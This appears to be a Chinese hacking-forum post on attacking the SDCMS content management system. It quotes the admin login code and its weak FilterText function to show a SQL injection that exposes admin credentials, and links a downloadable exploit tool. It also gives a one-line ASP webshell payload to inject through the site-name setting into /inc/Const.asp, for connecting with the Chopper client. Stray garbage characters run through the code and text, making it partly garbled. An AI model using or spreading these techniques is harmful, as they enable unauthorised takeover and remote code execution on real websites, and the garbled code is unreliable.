SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

) C" k! B6 G+ r% C- R6 `Sub Check
    Dim username,password,code,getcode,Rs
1 M, R. s) K& l' q$ x, l) R    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
, {- J# j: x; e, ?/ t( Y    Else
! g0 g* q0 @$ ~+ R# H9 u2 N. A8 j        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
7 L1 w  X' n+ g, Y        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
+ Z5 Q$ D6 t" ?% F9 ^            Add_Cookies "sdcms_id",Rs(0)
+ n* P+ M- j9 c  I4 U            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
, |7 _. Y0 c: `2 R            Add_Cookies "sdcms_alllever",Rs(4)
2 e8 u3 v) @+ \' o+ _/ {" `- J            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
: ]. M4 _( @# n# U- W2 t: K6 s            '自动删除30天前的Log记录
+ t& y+ o: P$ m7 s. q3 H1 U            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
7 H7 X* j8 e) A& y( T1 L: J" E            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
            Go("sdcms_index.asp")
! A6 @( l; s8 F2 ^5 H        End IF
% y  e+ T+ i8 l" \: t; p        Rs.Close
        Set Rs=Nothing
    End IF
5 }, `$ p0 m/ j+ s4 E# F1 MEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
% ~8 C$ u8 v0 b' J* `1 y/ U
3 B( S) R, y0 P& |) v0 q& l( ?0 M! w/ qFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
" j/ y  g3 l. m  C5 L6 i3 \, V    Select Case t1
        Case "1"
' L/ ^6 r& _4 G: ?! B            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
2 W1 s4 S! T  k  I, d            t0=Replace(t0,Chr(10)&Chr(10),"")
8 R. P6 h2 H! |2 b" ?            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
! u1 l* m9 W$ G7 G! R            t0=Replace(t0,Chr(10),"")'换行
; _! [; C4 P# P: n) I            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
- k3 i! N6 E9 X1 q, `            t0=Replace(t0,Chr(33),"")'!
8 [6 D* H+ F5 [5 F2 \            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
/ u. N& y3 K/ Q. C% U            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
! S( T5 o& ], e; Z! h7 d8 T2 ~; u/ Y            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
  ~$ ~9 x% @! j5 o            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
  `6 P# q, X& y) h* I- s0 o; s% G0 ]            t0=Replace(t0,Chr(58),"")':
3 c, o7 L, _8 U6 c) [            t0=Replace(t0,Chr(59),"")';
8 r- }3 \$ Y- s: B            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
5 r2 Q' l) X! V& o, D6 e            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
0 F: C7 D4 C6 T1 |' d* W            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
  r' V' Y0 p! {            t0=Replace(t0,Chr(124),"")'|
* J4 w2 E1 K2 [9 K& ?$ w            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
9 a. |( W! X: ?- _    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
$ ]  n) Z0 E) Z3 ]        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
. X; c+ J8 D- E6 o8 s! |        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
End Function
1 C* Q' h" |: l7 o
看到没。直接参数是1 只过滤
8 a+ Y- k" |- v" k0 q                        t0=Replace(t0,Chr(32)," ")
6 [) Y/ D2 P1 ~: W' U                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
0 r0 a* z" L& D8 f9 A/ `' g" v                        t0=Replace(t0,Chr(10),"
' J! p; d) ~% E/ F")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
+ C1 X+ m5 s5 K) rEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

测试:
8 X) m9 c$ X2 Z( H% m

/ T* ]' b2 z, I) @- T; k现在输入工具上验证码,然后点OK

% _4 r8 [7 c; o% I2 N* N
5 d5 c3 [  H5 d$ O看到我们直接进入后台管理界面了,呵呵!

- G2 n3 e6 G& t/ O( e* T

. W+ F/ K  s* \% F这样直接进入后台了。。。。


' O5 [" G+ b- ^8 o4 j) O
7 `# i# ^6 x4 KSDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

5 K. ?& A% _0 j9 s5 S

+ t% M8 _( H8 G6 ~- l2 c( LOK,现在用菜刀连接下!
/ l+ u0 S6 ]* p6 ~' e: O

1 m) f" J* d# ]! h; t9 W9 @9 C
6 Z( t+ J" {7 z0 r# }

) T$ X" c5 @4 X9 F0 \- y9 g, l. a4 k